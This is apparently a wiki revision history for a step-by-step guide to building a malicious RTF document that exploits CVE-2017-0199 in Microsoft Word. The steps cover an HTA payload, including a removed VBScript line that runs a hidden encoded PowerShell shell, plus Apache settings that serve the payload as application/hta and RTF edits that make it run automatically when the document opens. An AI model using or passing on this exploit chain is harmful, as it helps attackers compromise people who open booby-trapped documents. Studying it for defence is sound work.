CVE-2017-0199 Malicious RTF Document - Revision history

Lphanvan: /* Step 1 */

2017-05-02T18:42:32Z

Step 1

← Older revision		Revision as of 21:42, 2 May 2017
Line 10:		Line 10:
	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />		<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
	<title>Bonjour</title>		<title>Bonjour</title>
	<script ~~language="VBScript"~~>		<script>
	~~Set owFrClN0giJ~~ = ~~CreateObject~~("~~Wscript~~.Shell")		a=new ActiveXObject("WScript.Shell");
	~~Set v1ymUkaljYF = CreateObject~~(~~"Scripting~~.~~FileSystemObject"~~)		a.run('chrome https://www.youtube.com/watch?v=bp0AHQooVSY',0);
	~~If v1ymUkaljYF.FileExists(owFrClN0giJ~~.~~ExpandEnvironmentStrings~~(~~"%PSModulePath%") + "..\powershell.exe"~~) ~~Then~~		window.close();
	~~owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"~~		</script>
	~~End If~~
	</script>
	<hta:application		<hta:application
	id="oHTA"		id="oHTA"
Line 32:		Line 30:

	</pre>		</pre>

	===Step 2 ===		===Step 2 ===
	Create a simple RTF document using Winword with the any random content. (in our example the string "This is my official and legit content")		Create a simple RTF document using Winword with the any random content. (in our example the string "This is my official and legit content")

2017-05-02T18:41:34Z

Step 6

← Older revision		Revision as of 21:41, 2 May 2017
Line 107:		Line 107:

	to		to
	\object\objautlink\objupdate\rsltpict..........................
			<pre> \object\objautlink\objupdate\rsltpict..........................</pre>

2017-05-02T18:41:18Z

Step 6

← Older revision		Revision as of 21:41, 2 May 2017
Line 104:		Line 104:
	If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:		If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:

	[[File:~~5upload~~.png]]		[[File:5.png]]

	to		to
	\object\objautlink\objupdate\rsltpict..........................		\object\objautlink\objupdate\rsltpict..........................

2017-05-02T18:40:24Z

Step 6

← Older revision		Revision as of 21:40, 2 May 2017
Line 100:		Line 100:

	===Step 6 ===		===Step 6 ===
			At this step, if the user opens the "exploit.rtf" file he will have to double click on the link object to launch the attack...

			If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:

			[[File:5upload.png]]

			to
			\object\objautlink\objupdate\rsltpict..........................

2017-05-02T18:38:31Z

Step 5

← Older revision		Revision as of 21:38, 2 May 2017
Line 81:		Line 81:

	===Step 5 ===		===Step 5 ===
			The following step will :
			- change the ms.rtf that we have included with the custom HTA payload
			- The web server will send a "application/hta" content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload

			cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf

			vi /etc/apache2/sites-enables/000-default
			Change -> application/rtf to application/hta
			like:


			<Directory /var/www/html/ms/>
			Header set Content-Type "application/hta"
			</Directory>


			service apache2 restart

	===Step 6 ===		===Step 6 ===

2017-05-02T18:38:27Z

Step 4

@@ Line 79: / Line 79: @@
 Save the file as "exploit.rtf"
 ===Step 5 ===
 ===Step 6 ===

2017-05-02T18:38:03Z

Step 5

2017-05-02T18:37:26Z

Step 4

@@ Line 75: / Line 75: @@
 [[File:Capture1-wiki.PNG]]
 ===Step 5 ===
 ===Step 6 ===

2017-05-02T18:36:45Z

Step 4

← Older revision		Revision as of 21:36, 2 May 2017
Line 70:		Line 70:

	===Step 4 ===		===Step 4 ===
			Create a simple RTF document using Winword "exploit.rtf" This will be our exploit !

			Insert -> Object

			[[File:Capture1-wiki.PNG]]

	===Step 5 ===		===Step 5 ===
	===Step 6 ===		===Step 6 ===

2017-05-02T18:34:28Z

Step 3

@@ Line 50: / Line 50: @@
   service apache2 restart
 </pre>
 ===Step 4 ===
 ===Step 5 ===
 ===Step 6 ===